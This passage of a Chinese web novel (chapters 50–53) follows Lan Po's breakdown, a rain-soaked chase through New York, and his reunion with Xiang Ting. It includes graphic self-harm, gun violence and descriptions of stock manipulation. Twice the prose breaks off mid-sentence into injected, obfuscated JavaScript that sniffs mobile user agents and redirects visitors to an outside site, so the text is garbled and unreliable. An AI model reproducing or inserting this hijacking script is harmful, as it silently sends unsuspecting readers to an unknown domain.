蓝珀竟说:“我的意思是,除非你开着私家飞机跟我的客机头对头相撞了,那样兴许还留得住我。” 白谟玺震撼得都站直了一点:“宝贝,这到底是怎么一回事?你太不对劲了,你一个月不见任何人,出门的第一件事就是辞职,然后‘消失’?消失?消失?” 蓝珀说:“跟你没多大关系吧。” 白谟玺拦住他:“没有关系?” 蓝珀:“你好不自信。” 白谟玺:“那我们是什么关系?” 蓝珀:“享受当下的关系。” 白谟玺笑了:“看在我们这样深的交情上,我能不能问你,为什么你一个月前,准确来说篮球比赛结束之后,你就仿佛被诅咒了一般,就开始真正地隐居了?我让白希利休了学,专心上门去给你道歉。他告诉我他站在门口守了三个礼拜,每天只能听到你家里传来永无止境的淋浴的声音,像有什么不洁之物在水中翻腾,更有断断续续的尖叫和哭泣声。然后每次到了午夜,一滩密密麻麻的黑血就从你家的门缝底下悄无声息地渗出来。他还说你的私人医生,你和他描述你在镜中看见了另一个自己,那个你带着来自地狱的眼神,挥动着利刃般的指甲。现实就是你没日没夜地抓自己,抓得血肉模糊到了需要紧急做植皮手术的地步,三个医生相继请辞。现在,据说你都不敢停留在自己的影子身边。” 蓝珀听着,无一否认。 白谟玺说:“究竟怎么样可以让你回归正常?蓝,那只是一杯奶昔而已!它没有那么脏!” “没有多脏?”蓝珀在快要仰天大笑之前,微微一笑,“但,我有呢?” 刚刚转身,白谟玺抓住了他的手腕,把蓝珀拽了回来。 费曼说:“放开他。” 话音未落,只听一声尖啸传遍了整栋高盛大厦。蓝珀,白谟玺眼中古画里走来人间的仙子,众香国里最壮观的牡丹,此刻发出了穷山恶水里的刁禽才有的怪叫。不仅分贝高音调音阶还一路走高,白谟玺搞艺术的出身,几乎能数着他high-E,G-5飙上去了! 白谟玺的爱一向从实用出发,他爱的蓝珀很商务,端庄又大气,邂逅蓝珀的第一眼白谟玺直接封皇后至今都很爱。如果蓝珀是个女孩,完美,既生育又养家。可试问谁又能接受眼前这个在华尔街上空半夜嚎叫的怪胎,金煌煌的玻璃瓦下大秀他如此透明的疯魔,哪个男人的爱经受得起这样的考验? 地板都发出嘁哩喀喳的声响。白谟玺愕然中放了手,蓝珀不叫了,但是咬着下唇颗颗滚圆的血珠冒出来。 白谟玺换种方式,堵在了门前。蓝珀貌似也不急着走了,他冲进套间里的洗手间发狂地洗手,水龙头还没关上,就出来跪着、膝行着翻箱倒柜地找一切消毒的用具。其实他打开第一个抽屉就出现了一大包的酒精棉片,但他压根没看见。费曼捡起来递给他,蓝珀不知怎的抓到了费曼的脸。然后蓝珀估计是认为自己的指甲也脏掉了,当着白谟玺的面,表演了一番他曾以为白希利创意写作课上学来的奇技淫巧写出来的那种失真画面——蓝珀拔掉了一整根小拇指的指甲。 白谟玺从头到脚连头发也呆在了原地,门当然忘记了堵,门上面此刻沾了他一背的冷汗。 门开了,蓝珀跑了,费曼去追了。白谟玺走路都不知道先迈哪条腿了,晃晃悠悠地坐下来。从蓝珀手上滴下来的蜿蜒血行慢慢凝固,变黑,那消失不见的尽头,地上躺着一张金融界高级掮客送来的艳/舞表演邀请函,无字的扉页,只有一颗六芒星。 51. 无可奈何花落去 每一位王室成员出行时,附近都会蛰伏着一个庞大的专业团队,保镖、特工、公关人员、形象顾问之外,还有御医。费曼追到高盛楼下的时候,两名御医已经在那守着了,团伙里其余的人不知道具体职能,反正如临大敌地列起阵来,浩浩泱泱,防火墙似的截住了蓝珀的去路。 一个领班似的人说:“我们已经通知您的航空公司,您的航班将推迟登机。请允许我们先为您处理伤势。” 蹲守白谟玺的几家狗仔,看见这阵仗,以为是谁要刺杀王子才引出了这么多暗卫。蓝珀就在他们的前簇后拥下到了停车场,却没有走向那辆低调沉潜,并不张扬,献给前英女王登基50周年的贺礼、以国事访问的规格空运到美国来继续给皇家光荣服役的宾利,他一言不发地坐进了自己的车里。 蓝珀在主驾驶,费曼在副驾驶,医生只好一个托着蓝珀从车窗伸出的手,包扎他的小拇指,另一个护士在配碘酊,再一个半跪着负责按着光/裸的甲床直到出血停止,还有个医生举着牙医用的那种补光灯。这些人无不拥有骑士勋章,鲜艳的贵族袍:“请您张开嘴巴,我们需要仔细检查一下您的声带有没有受伤。” 蓝珀却把脸转向了反方向,直视着费曼:“所以呢,现在一个飞机的人都在等我吗?” 领班代为回答:“请您放心,这完全是台风和空中流量的问题。” “费曼,你是在提醒我什么?”十指连心,蓝珀疼得牙根也在寒战,却环顾着周遭笑了出来,“提醒我享受着你的特权,就像吃饭要嚼一样自然吗?你和在英国没有两样,除了美国海关不许你的钻禧纪念马车进来,除了车顶上没有皇家徽章、旗帜甚至立牌?哦,对了,有一点你总算是弃暗投明了,我说的是你汽缸的油换成了用葡萄酒和奶酪制成的生物乙醇。” 蓝珀把脸转回去,医生怕光线乍然刺到蓝珀的眼睛,赶紧把补光灯移开了。蓝珀还没有定睛看清医生的脸,就说:“又见面了,枢密院的议长大人。” 护士捧来一杯温水、两片止痛药。蓝珀不仅指鹿为马,他已是男女不分:“索尔兹伯里侯爵,我记得你,在我的裙底摔了一跤的先生。” 蓝珀又一个个地说这些人是宫务大臣、驻牙买加总督,还说他们之中的一个是英国当今最年轻的伯爵,曾长时间住在爱沙尼亚,但是在他因为纵/欲死去之前,每两小时要吸食海/洛/因或可/卡/因。 最后蓝珀悄悄地对领班说:“你就是那个布连南宫的首席园艺师,我记得它粗壮雄伟的巴洛克式,跨过德文河的小桥,北门入口像古罗马的万神殿;就是你扩建了它府邸的花园,就是你给它命名天堂的原乡,就是你设计的迷宫,我爬了整整一夜也爬不出去。” 随行人员们面色如常,视线也是一如既往地四十五度向下,好像还活在君主专制的年代,奴隶终其一生也不可能与奴隶主对视。君主即是天之子,直视君主的眼睛就会犯了亵渎神灵的重罪。 殊不知这样只让蓝珀更加胆寒,蓝珀五脏六腑都被搅紧,不是因为疼却越来越剧烈地抖,不得不用自己的左手去按住右手。车子没动,却是那么颠簸,犹如巨浪的一叶舟,错过了太多的港口马上就要沉没了。 费曼屏退了众人,蓝珀这才慢慢在风暴中宁定下来,惨白的脸仍带点灰调。两人之间僵持了一会,这会儿要说什么都像是在应酬似的不伦不类。蓝珀更被冷缩的空气冻成了化石。 白谟玺的电话救了场。 遭受了蓝珀超声波洗涤的白谟玺,好像猛不丁就消除了对费曼的成见,好像特洛伊城的十年攻坚战从未发生过。白谟玺主动联系,要求费曼以高盛的名义进一步回应,蓝珀曾经持股的那些白氏企业何去何从。虽然白谟玺不干活光监军,又不求甚解,但是他几乎亲眼目睹过蓝珀所用的,所有世人能够想象得到的华尔街欺骗手法。蓝珀最擅长的事情就是,在其交易部门建立大量空头仓位时,发布“买入建议”吸引散户投资者的“傻钱”买入股票。反之,则在建立多头仓位时引诱散户空仓操作。如果蓝珀现在退出了,不玩了,白谟玺也希望他善良,找一个相对合格的买方解盘。 简言之,白谟玺怕蓝珀给他埋雷,他得一对一盯防了,先找费曼要一颗定心丸,最好今晚高盛就发官方声明灭灭火。 费曼说:“暂时不会考虑引进新的资本,股东还是会保持现在的结构。” 白谟玺坐在合伙人办公室里,一个劲盯着自己办公桌上合着的双手。晚宴香槟的浓醇酒力仍在他体内循环流动,然而他的脑子前所未有地清醒,心里可太雪亮了。 听到这,白谟玺才呼了一口气,和蔼可亲地说:“首先真得谢谢你!然后我还有个疑问,我刚刚从头到尾查了一下账,我爸和蓝之间有这么多笔交易?我记得蓝不就是帮他管理几家坐禅中心、藏传法□寺,他还是那个少年喇/嘛育幼院的顾问对吧?怎么会突然多出来这么多钱?” 费曼一时没有回答。白谟玺更加心悸,为了缓解尴尬地说:“我想他准是昏了头……” 然后电话里传来了蓝珀聂小倩一样的声音:“因为你爸把我卖给了他爸啊。” “…什么意思?你说什么?”下雨的噪音太大,白谟玺直觉蓝珀又在说疯话,试图连线正常人,“剑桥公爵,温莎先生?在吗?” 费曼说:“蓝曾在英国毕马威工作,管理英吉利海峡领地的税收,以及负责女王私人不动产的维护工作。” 话尽于此。剩下的白谟玺自己串一串,好像也说得通? 中国大乘佛教中的西藏密/教,如今在西方世界颇为盛行,白韦德居功至伟。1959年□赖喇/嘛逃亡印度之后,大批西/藏喇/嘛跟着□赖到了印度,其中有不少人辗转到了英国、美国。 白韦德原名洛第嘉措,流亡英国以后,自号大宝法王,一些腐朽老贵族供养了这位法王了一大片土地,建立了爱丁堡佛法中心。他的著述极多,流通极广,后来根据地被捣毁便来到美国弘法,兴建道场。娶了一位巨富之女后,他好像渐渐淡忘了自己的藏籍。不过后来白谟玺搞艺术创作的时候,家里几位门客联名鼓励他把大悲咒的元素融入新专辑的编曲。 白谟玺恍然悟了,不就是他爸当了中间人介绍,给蓝珀谋了个高就的意思么?怪不得后来蓝珀来美国,直接借住在自己家里了,哦,原来两人早在英国认识了。 说起来,以前也听他爸得意地说过几嘴。那时的蓝珀不知怎么进入了这个先进的社会,他像被解冻了,发现自己如鱼离水。天真烂漫,至少可以这么说。莎士比亚又曾云,美貌比金银更容易引起盗心。 反正,蓝珀究竟多努力才会获得如今的尊重,白谟玺想起来他是不是还有啥精神病,有的话能走到今天这个地步真挺励志的。转念又想,淤泥里竟真能生养出荷花来么?懒得往这方面深入,白谟玺在意的是,亏。他素来是既然已经上过了床,其他的求知欲就不是很强了。但七年了蓝珀避免了和他的实质性任何进展,白谟玺不能忍受自己还得挥舞着白旗给他送行。最近一次蓝珀婉拒的理由是什么来着?可笑至极,蓝珀说从不和同龄人约会,还说对于他来说弟弟太让人头疼了,思想不在一个阶段,姐弟恋像在养小孩,没戏,呵。罢了,这段感情的调门起得已经很高了,但是就像写歌,照这个节奏写下去,很容易气竭。 白谟玺闻其声就感觉春风满面的,透着活灵活现的解脱感,虽然是无比刻意的:“蓝还你旁边吗?” 费曼说:“在。” 白谟玺:“让我和他讲两句。” 蓝珀伸出了受伤的那只手,费曼却没有把手机递过来。 费曼直接挂断了。 “真帅啊,我对你最近两年就刚才这两秒有感觉了。”蓝珀侧目而视。 他整张脸的情绪很统一,很单一,仿佛连睫毛也参与到了这场控诉当中,蜻蜓翅膀般的震颤:“下次有人想对我怎样的时候,你能再表演一次吗?就这个。而不是说你有很多迫不得已的时候,亡羊补牢的时候,当你那个完美王子的时候,我把你拽向这边,你那个奶奶就要把你拉向那边的时候?还是说,你也只是敢挂一个电话而已,而且还只是一个手上没有任何王权的美国人的电话?” “蓝,我知道你恨我。”费曼说,“十年了,你还是很灰心。” “冤有头债有主,恨你你不配,就只是一点怨吧?”蓝珀把车窗降下来,夜风拂过来他就像个没有思想的摇头娃娃一样上下点头,风刺得眼睛疼,“灰心更谈不上,我还没有对这个世界都灰心了。这些年我经常万念俱灰,但也经常死灰复燃……” “那就不要走。”费曼看向了他。 “我不灰心又不是因为你,而且现在我彻底灰心了。” “那是因为谁?” “不重要了。” 说罢,蓝珀看了过去,因为看到对方被钉上十字架而笑了。 费曼说:“或许,你觉得我的感情很肤浅。” “够了,要 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“你还不下去,等着我肉偿你的医药费吗?”蓝珀举起小拇指,摇一摇,“可我是一个医不好的人。” 右手从今天之后就没法弹钢琴了,它甚至连杯水都端不稳。蓝珀就用这只手把钥匙插进点火开关,车子启动上路了。 纽约的午夜灯火通明,但好像在蓝珀的心里,有多少道霓虹便是多少成千上万个不同的阴谋并行运行,他只想快点逃离这座城市。 汽车好几次要离地飞起来,半小时就到了机场。机场的那条道前面发生了事故,有点堵,车流缓慢地移动着。 等着红灯的功夫,蓝珀忽说:“我是不是还欠你一支舞?” 一闪一闪的橙色路灯斜照进来的光,十分吝啬地打在费曼的侧脸上。他自谑般笑了笑:“我得到了一首歌。” 蓝珀也连带着觉得好笑起来,兀自笑了会,问道:“你的智商是多少?” “一百多。” “有时候我真希望它少一个零。我的智商就不够,其实谁都能哄住我。为什么你不能像我这样的傻瓜一样凡事不考虑后果呢?十年前的你,十年后你一点也没有变。” 到了下车点,蓝珀握住了车把手,下一秒车门就要推开了,他才说:“有的人不说第三遍不要走,又怎么知道我会不会走?或者答应你,带我走?” “我不敢轻言。”费曼说,“蓝,你像一个茧。” “…茧?” “你把自己封锁起来,困在了一个茧里。我剥开了茧,你就会消亡。我什么都不能做,只能一分一秒地等着你变成蝴蝶的那天。” 蓝珀恍了会神开始笑,而且笑得很大声、很起劲。他将把手摁了下去:“那我飞走了。” 车门开了一条缝,蝴蝶嗅到自由的空气的那一刹那,龙卷风就摧毁了停车场。 大雨瓢泼,项廷从高盛楼下一路骑车赶来。电闪雷鸣,路灯瘫痪了一半,项廷追到这儿,车子堵得密密麻麻,乌漆嘛黑,完全丢失目标。然后他就展示了何谓灵活机动的战略战术,太阳系根本不是他的边界,从南潘那勒索来的不止有枪,夜空中升起的一颗照明弹,给今夜的肯尼迪机场市民的心灵留下了长久的震撼。蓝珀听到很多小孩兴高采烈地在叫,烟花!烟花!三千雷动第三声烟花还没叫出来,自己连人带车就已暴露在小舅子的火眼金睛下。 项廷的伞早就被风吹跑了,潮透的毛衣发出淡淡的羊毛味,对于芬芳而洁癖的蓝珀来说无异于一大包核/武器。于是蓝珀拉开车门的手缩了回来,受伤但动作通电一样快,门亦关得死死的,两秒上了三道锁。 从水里捞出来似的项廷,像只颇具绒粒感的卷毛小狗。但是他看清了副驾驶上还有个英国男人时,在蓝珀车头前他做着伸开双手、螳臂当车的热血笨蛋姿势,脸上却是不但不悦,甚至极有侵略性的眼神。 蓝珀阴着脸踩了一下油门,以示警告。项廷动也不动。蓝珀听不清他叽里呱啦在说什么,但看到项廷一张嘴就被老天灌了一嘴巴雨,呛得快沉尸大西洋底了,就那样,他还要没有半点意义地像只被关在家门外的小狗叫唤。 项廷毫不知情这是蓝珀在纽约的最后一夜,甚至不知道蓝珀要坐飞机,他想当然以为姐夫是来接姐姐的。他又哪里想到,今日倘若他迟了半步,世上便再无一个蓝珀了。可项廷此刻的决心却比世界上任何一个人来得都要强大,撼山易,撼它难。 52. 还卿一钵无情泪 项廷的小腿已经泡在了水里,整个人被雨淹没成了一个隐约的轮廓。他一夫当关,后面的车跟着动弹不得。 “很好,”震天的鸣笛声里,蓝珀笑道,“希望这不是纽约在愚人节这天跟我开的一个善意的玩笑。” 费曼拨内线电话,他的声音低沉而平静,一如不曾有任何事情发生,无非是叫皇家警卫来驱逐项廷。 “你为什么不自己下去把他赶走?你的架子真是好大,你就像个宝宝。”蓝珀忽然转过头来,眼神像手术刀一样锋锐而精准,“是怕明天登上报纸头条,还是只因为怕雨弄脏你的名贵西装?” 于是还没等警卫扑杀项廷,蓝珀方向盘一打,汽车如同离弦之箭,径直从机场道上开走了。 蓝珀炸街飙车,其实眼睛没从后视镜里离开过。忽然想到两人在美国相见的第一天,项廷也是穷追不舍,他的身影也是这样拉锯着,忽远忽近,忽大忽小。那天也是这么大的雨,天雷火劫一样的世界。原来人无语的时候是真的说不出话,蓝珀只在心里想,项廷在美国呆了这么久,怎么一点长进没有,还更傻了。 自行车追汽车,雨大得项廷像在开水摩托。追过一个街角的时候,店铺门口有一条狗没拴好,也许是项廷闯入了它的领地范围,狩猎犬的视觉又比较敏感,天性最爱追动的东西。项廷追车,狗追项廷,并且一狗带动多狗,就有无辜的路人司机看见狗大军一慌跟着加速了,遇上没修好的路来不及转弯,车飞了人也飞了,还好只是一点擦伤。 再这样下去,蓝珀也要因为连带责任被警局传唤了,只能停下来。狗狗们也就刹住脚,它们都没有攻击性,只是为了追而追,真追上了,反而不知道要干嘛了。苏牧、德牧、金毛、拉布拉多、意大利大灵堤、法国水猎犬也就是泰迪,各色犬种你看我我看你,最后都不约而同地看向了项廷,大家都静静的没有摇着尾巴狂吠。 费曼的手伸向了车门,显然是要代表人族下去交涉一下,他向来是个极其低调的资本家,从来不像今天这样乱出风头。 此举却招致蓝珀的一声冷笑。 “你终于成功地让我对你彻底败了胃口。”蓝珀嘴毒得特别难听,“你这种不死不活的样子我再也没兴趣了。” 一开窗雨就会潲进来。所以蓝珀说不劳他费心之后,便打了项廷的电话。项廷连摸索手机的样子,也颇有种滑稽默剧的感觉。 接起来,首先传来的是蓝珀久违的笑。 项廷:“我有话跟你说!” 外头雷声滚滚,说话必须用喊的。项廷那边声嘶力竭,蓝珀这边人贵语迟,贵气逼人:“说。” 项廷:“有人在我怎么说!” 蓝珀一眼也没有看费曼:“那你别说了。” 项廷:“那你气消了没有?” 蓝珀听了震惊于他的大心脏,项廷真是拥有他羡慕不来的精神状况,原来那种事是可以自己默默把气消了的吗?于是本来不想废话,高人都会洁身自处的蓝珀,渐渐也动了点真气:“说得对,早消了,干吗不呢?” 蓝珀越想越是好笑,不由得跟费曼抱怨了一句:“我今年又不是本命年,为什么就这么倒霉呢?” 听筒里突然传来项廷的怒吼:“不许你跟别人聊!” “你还有理了,是吗?行了,小大爷。”蓝珀说,“我们之间无事发生过,过去没有,未来更不会有。遇到你这种挡道的小麻烦,我只能踢远点。换句话说,你给我滚。” 蓝珀踩油门,项廷照样杵在原地。车轮扬起的水花泼了狗狗们一头,大家一起甩头,快在水里窒息的柯基跑到了一处台阶上。 蓝珀:“要么滚,要么死。” 项廷:“死了也不滚!” 蓝珀两只耳朵里都嗡嗡响,像是有一百只小蜜蜂在飞,然后他对费曼说:“叫你的警卫来,枪借我用一下。” 费曼当然不会纵容他犯罪,只是犹豫了片刻,蓝珀就从座椅的垫子底下掏出来一把小巧的银色贝/瑞/塔。 天气原因,手枪的有效射程锐减。蓝珀本身也不是专业射击的,窗户一开他自己又先被脏脏的雨伤害到了。于是项廷只见蓝珀枪口一亮,子弹呢?不知道哪里去了,只能见到蓝珀的表情略为用力。是他的枪后坐力特别大还是怎么的,他一直在眨眼。 项廷:“我站着不动给你当活靶子!” 蓝珀觉得他很挑衅,可刚刚伸出去那么一下,袖子就全湿了,感觉雨水里裹的全是泥土和灰尘,水柱打他一下就烫得他皮肤微微发疼。胸口起伏感觉要上呼吸机了,再也没法开第二枪。想吐得厉害,一时不能参与斗嘴。 平复了一下,蓝珀只好笑一笑:“你不是在跟我赌,你是在跟我叫板。” “来啊,你行吗?” “你没意见就行了!站那别动,我马上撞死你!” 旁人只会觉得何至于如此呢,可一个正常人此时又不会放过种种联想,真是不能细想二人差个十来岁,又是姐夫与小舅子的关系,却派生出了多少外人不知道的情节。 费曼说:“把音响开了,放点音乐吧。” 蓝珀:“高参,你还蛮清醒的嘛,没有被气糊涂!” 费曼看了看他,蓝珀那张本来与这个世界缘分已尽、青中带灰的白脸,气得平添了一抹似有似无的鲜活的红云。 费曼说:“不要闹着玩了,我来解决。” 蓝珀:“你解决什么?你要解决事?还是解决他?没了他谁还逗我笑啊?” 蓝珀轻轻地一摇头,又很快冷酷一笑,言犹在耳,他就猛地驰了出去,加速度拉满,车里的物件纷纷掉落。 天地间的雨幕被疾驰而来的车身撕开一道口子,仿佛被利剑一分为二。 项廷完全不为所动。 不要说是撞死他,好像哪怕现在天上劈下来一块陨石,只要是来自蓝珀之手,项廷也就真的甘愿肉身被砸成一个巨坑。 讲道理心脏就拳头那么点大,很难什么东西都往里头装,但是蓝珀撞上去的这一秒钟,他的心猛然被十年挣扎的洪流灌满。从苗疆逃出生天的那一天,蓝珀突然是感觉老天爷太眷顾自己了,他用这侥幸保住的一条命要为族人做好多好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398239|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多事情。后来在英国尝够了身不由己的滋味,他被当作了一台印钞机源源不断吐出财富。每一个不眠之夜,他无数次想过一死了之,或许早应在祭坛上死去,至少那是为了所爱之人的圣洁献祭。一息尚存到了今日,全因当年枫香树下后会无期的憾恨,这一滴泪,他还了十年。 如果男孩从此消失不见,少女在这世上唯一的牵念也就断了。那时他又要怎么办?蓝珀无法直面这个问题,他以为他及时地刹了车,可是一切为时已晚。 项廷倒在了车身前,人被轧在了车底。 蓝珀像被是钝器击过来,更像是个机械的钟摆,任由命运将他拨过来,拨过去。然后他才把手上那串从来不摘的翡翠珠子掀起,扔在了一边,冲进了雨夜。 “项廷!项廷!”蓝珀把人从水里捞起来,托起后背抱住了他。 没有声音,没有血,那还有没有脉搏?蓝珀手指探到他的脖子,还好,那还有不为人察觉的一弹一跳的意思。 可是弹跳不是因为呼吸,好像因为,有人在笑。 “蓝珀!”项廷紧紧地抱着他,兴高采烈地说,“我就猜到你对我好,真是你送我的书包……” 虽然项廷说到做到,耿直地根本没设防。但蓝珀真是急懵了,那相撞的一瞬间,他居然睁眼瞎地没看见,项廷只是为了避雨反过来背的书包,刹时间展开了一朵伞花,如同空气气囊弹出来保护了他。这不就是蓝珀曾经以家政公司的名义,送他的那个天价特种兵装备么? 前阵子去白希利家,项廷找到了蓝珀那天让他叼走,费曼亲笔写的推荐信。加上钢琴教师何崇玉又把生日蛋糕的事说漏了嘴,项廷举一反三怀疑了书包的来源。现在也无凭无据,但抱着蓝珀,他就是自信蓝珀送的! 反应过来的蓝珀在雨中快要崩溃得脱掉皮,可是又很怕项廷别的地方受了伤,手忙脚乱紧急查看。项廷同样也不想让他受一点点伤,死死抱着努力不让他被雨水淋到,身体就跟块石头似的撼动不了。蓝珀快以为他要抓着自己在水坑里打滚了。大狗小狗们这时候一块仰着脖子对着月亮,高高低低地嚎了起来。 蓝珀一边惊慌失措地否认:“什么、什么书包?我和你这种人真说不到一起去!就你还配背上书包了?我真是拿你没读过多少书的小孩没办法……” 一边蓝珀半天又完全看不着他哪伤着了,但感觉上不要太生龙活虎,精神较之以往更胜百倍,便又让他滚。 项廷说:“抱着你我就踏实了。” 蓝珀:“好好好,你把眼睛闭起来,快快死吧!” 费曼打着伞下车来时,一队警察也终于从远处赶来。 蓝珀这时候手上是有枪的,他下车退了手串就是为了握稳枪。实在搞不懂蓝珀是下来呼救的,还是给项廷验尸的,打算看人没咽气就照着脑门补一枪的。 刚刚几条街都震动了,枪声听得明明白白,这会儿被抓到非法开枪,蓝珀恐怕说不大清,他的上流身份经不起有个案底。于是项廷扳过了蓝珀的手,拿来蓝珀的枪,对着警察清空了弹夹,挑衅一笑才拽着蓝珀逃跑。 53. 冰柈新摘橙橘荔 大雨吞没了纽约城一切不必要的细节。麦克道格尔街成了一张末日来临之前旧世界顽固的快照,一家花店的遮阳棚下,地上是两个人泡在水潭中的剪影。 项廷抓着蓝珀,一鼓作气奔到了此处,就像在钢筋水泥的海洋里找到了一片干爽的岛屿。 项廷张望着后边有否追兵的时候,蓝珀好像这才觉察到,项廷是带着他亡命天涯来着的。于是当项廷找到了一沓包装花束的报纸时,自己不舍得擦脸擦头发,都先给蓝珀了,却被蓝珀团成一团、用力一扔糊到了脸上。 项廷赶紧把报纸捡起来,上面几张还能用,用它吸一下头发上的水,不然水一直滴,模糊视线,影响敌情我情的判断:“嘘!我们要被发现了!” 蓝珀忍无可忍又惊又怒:“我们?我有的是钱,我有的是权,连FBI看到我都得绕着道走,美国的法律就是按我喜欢的来!这个我不包括们!我有什么可跑的?我的一根头发都比你值钱,你还给我顶上罪了?觉得自己很帅非要来波特别帅的,终于风光了一把,显得你了,是吗?” “但你也得去警局一趟吧,感觉刚刚那帮片警都不够档次认识你,要知道你厉害,得见他们老大。那警察局——”项廷一副努力回想的样子,“可脏可脏了。” 项廷说,墙角的蜘蛛网随风舞动,破瓷砖裂缝里黑垢渗透,泄漏的天花板水滴成了钟乳石,尤其是他待过的那间审讯室,那个烂羊油袄子一样的沙发一屁股坐下去就会被烟头烟灰和用完了针没拔的注射器弹起来,墙上有一千张血手印,空气里全是汗酸味,一入了夜,整个警察局更回响着哭泣与某种绝对不能言说同性之间的呻/吟。 吓人真不带这样吓的,蓝珀呼吸困难,脸色变蓝:“谁我都不怕,我自己能搞定一切,你,还是省省吧……” 项廷低语:“很脏很臭的。” 蓝珀惊叫:“没你脏!没你臭!” 暴雨如同滚石,遮阳棚上方响着冰雹一样接连不断的声音。蓝珀发现自己没有自立根生的本钱,车不在,钱包和手机都在车上,唯一携带的身外物就是一把枪。刚刚项廷说到蜘蛛网里缠绕着几只久死的昆虫的时候,蓝珀就夺过枪来想要一颗子弹崩死他了。结果呢?膛都上不了,进水,半报废了。 困在这里走不了,只能等出租车,要么盼着哪个好心的路人路过,借一把伞。 项廷挥挥手:“嘿,你还好吗?” 蓝珀冷嗖嗖地笑:“最多等五分钟,抽根烟就过去了。” 哪里有烟。但见项廷站在花架前扒拉着什么。架子上都是当天卖不掉的花,还很新鲜,但都不要了,等着拾荒者来收走。项廷掌心捧着一盆迷你盆栽,往蓝珀那递了递。 蓝珀只想躲,主动缩小了自己的活动范围:“什么?” “这是碰碰香,你闻闻,像苹果。有没有放松一些,心情好一点了吗?”项廷的语气像发现了宝藏,“哎,这还有薄荷!” 蓝珀只觉得遇见这小子,已经把一辈子无语的额度预支光了,项廷光是站那不动就已经很幽默了。 蓝珀一边解掉袖扣一边看了他一眼:“你还望梅止渴起来了?” 项廷的理解能力让人赞叹:“你饿了?” 然后他开始翻他那个大书包,大有乾坤,掏出来一大袋外带的麦当劳。 蓝珀看见情况愈发凶险了,往后退,退,退:“我死了都不会吃这个。” “你当然要吃好的!”项廷找了半天,没找到上回戴莉给他的比利时奢华巧克力,不好意思地说,“这是我吃的。” “你就吃这个?”蓝珀看那汉堡都被摇散了,包装纸包着一袋沙拉似的。 蓝珀直觉项廷在上演苦肉计,但他没有证据。项廷的样子太坦荡,如此令人气馁的天气,他的阳光灿烂毫不费力气,让人觉得他只会阳谋而不是阴谋。不禁想到更衣室里埋头苦干的项廷,也是,没有技巧全是攻速。是啊,这样的人能有什么坏心眼呢,他的心眼真的坏不到哪里去吧?那些地痞流氓一样的下流话,全是他被美国给酿坏了。 “对啊,怕等不到你就饿了。” “没吃晚饭?” “吃了,但我要等你一夜。” “一夜?”蓝珀自己也没意识到,他的声音变得尖了高了,“意思是你明天就不等了?” 项廷蹲在地上,不知道忙活什么,仿佛没听见。蓝珀久久等不来的答案就在风雨中飘摇。 “在哼哼什么?”蓝珀说,“我在问你话,明天还等吗?” “你让我等吗?”项廷抬起头,看着他。 “…我让不让跟你等不等有什么关系?回答我,明天?” “等吧。” “后天?” “不等。” 雨声乌哇乌哇,夜空愈发黯晦消沉了,水中的涟漪更密,路面的泥泞更稠了。 项廷要找个剪刀,叫蓝珀挪一挪。项廷一干起活来就忘了情了,这才发现蓝珀一直在盯他,盯得紧紧的。 “歇一会儿吧。今天把活都忙完了,后天你干嘛去?”蓝珀笑了笑,把项廷手边的一个热熔胶枪踢远了,“去找小女朋友?就你这两下子?” 项廷默默地捡回来,说:“后天我什么也不干,明天等到你了,我就天天看着你,我给你铐上!” 蓝珀愣了一下,一味地彷徨,脸上云来云去,半晌才问:“明天就一定等得到我?” 项廷因为屡次被他干扰,蓝珀说话又这么地横,他有时候就是不分时间不分地点事儿事儿的。项廷藏不住事的性子,一急就话赶话:“今天等你是给你面子!明天我就上你公司,你敢不出来?你信不信?我马上到隔壁联合国告你!” 然后他刷的站起来,干巴利脆地往蓝珀头上扣了一顶帽子。 蓝珀还以为他要打人了,把帽子拿下来,只见到一片缤纷的春日花海。 项廷就地取材,把花环编成了雨帽。接着他用花瓶接了一点雨水,浇在帽子上,实地测试证明很防雨。 大功告成的项廷看着自己的杰作,高兴地说:“你戴着,我带你去个暖和的地方。” 蓝珀想挑毛病,可是这帽子像个浓缩的奇迹花园,水流在上面都比蓝天更加清亮,真是量产了能卖到脱销的精美。蓝珀无疑喜欢可爱的东西,他香香的衣柜里衣架上也雕着次第开放的花苞,用它来挂衣服心情都好了。他看那帽子上玫瑰的刺都被一根根地弄掉了。蓝珀不给他找剪刀,项廷就用手指甲一点点扣掉了。 蓝珀只能说:“……我们有两个人。” “我不用!”项廷爽朗地笑,然后转过身去,背对着蓝珀屈着膝,“上来!” “你背我?做梦吧!” “你刚刚脚没崴吗?你没冷得发抖吗?” 蓝珀虽然脚踝肿得高高的,但仍想要无语问苍天,可是下一秒就被项廷强买强卖了。项廷抓着他的手,半招小擒拿制住,蓝珀柔若无骨、能捏出水来白纤纤的双手就被迫缠在了项廷的脖子上。蓝珀双脚离地的那一刹那,项廷硬扛了他一整套妹妹拳。 蓝珀以为自己做了一场噩梦,谁知噩梦才刚刚开头,崩溃成了一片片的:“脏死了脏死了,快放开我!我要下去!” “脏吗?”项廷攥着他的手,往自己的脸上贴,“脏脏就不脏了!” “不要!不要!不要!” “你对我不好就是好,你说的不要其实就是要。” 蓝珀又有了开始歌啸咆哮的趋势。项廷侧过头看着他,忽然,把脸往前一凑。 蓝珀的嘴唇是玫瑰干涸的颜色,不丑但是好没气色,它太需要补一补水了。 蓝珀的什么洁癖也被项廷逐渐靠近的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398240|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 